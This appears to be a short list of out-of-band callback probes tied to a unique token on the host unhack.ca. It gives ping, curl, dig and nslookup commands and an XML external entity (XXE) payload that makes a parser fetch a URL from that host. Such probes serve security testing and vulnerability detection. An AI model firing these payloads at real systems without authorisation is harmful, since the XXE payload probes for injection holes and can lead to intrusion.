$ ping -c1 -p 006855f9fe63e8657d80816b81e1a900 unhack.ca
 

$ curl http://unhack.ca/p/6855f9fe63e8657d80816b81e1a9
 

$ dig 6855f9fe63e8657d80816b81e1a9 @unhack.ca
 

$ dig 6855f9fe63e8657d80816b81e1a9.ns.unhack.ca
 

C:\> nslookup 6855f9fe63e8657d80816b81e1a9 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/6855f9fe63e8657d80816b81e1a9">]>
    <foo>&xxe;</foo>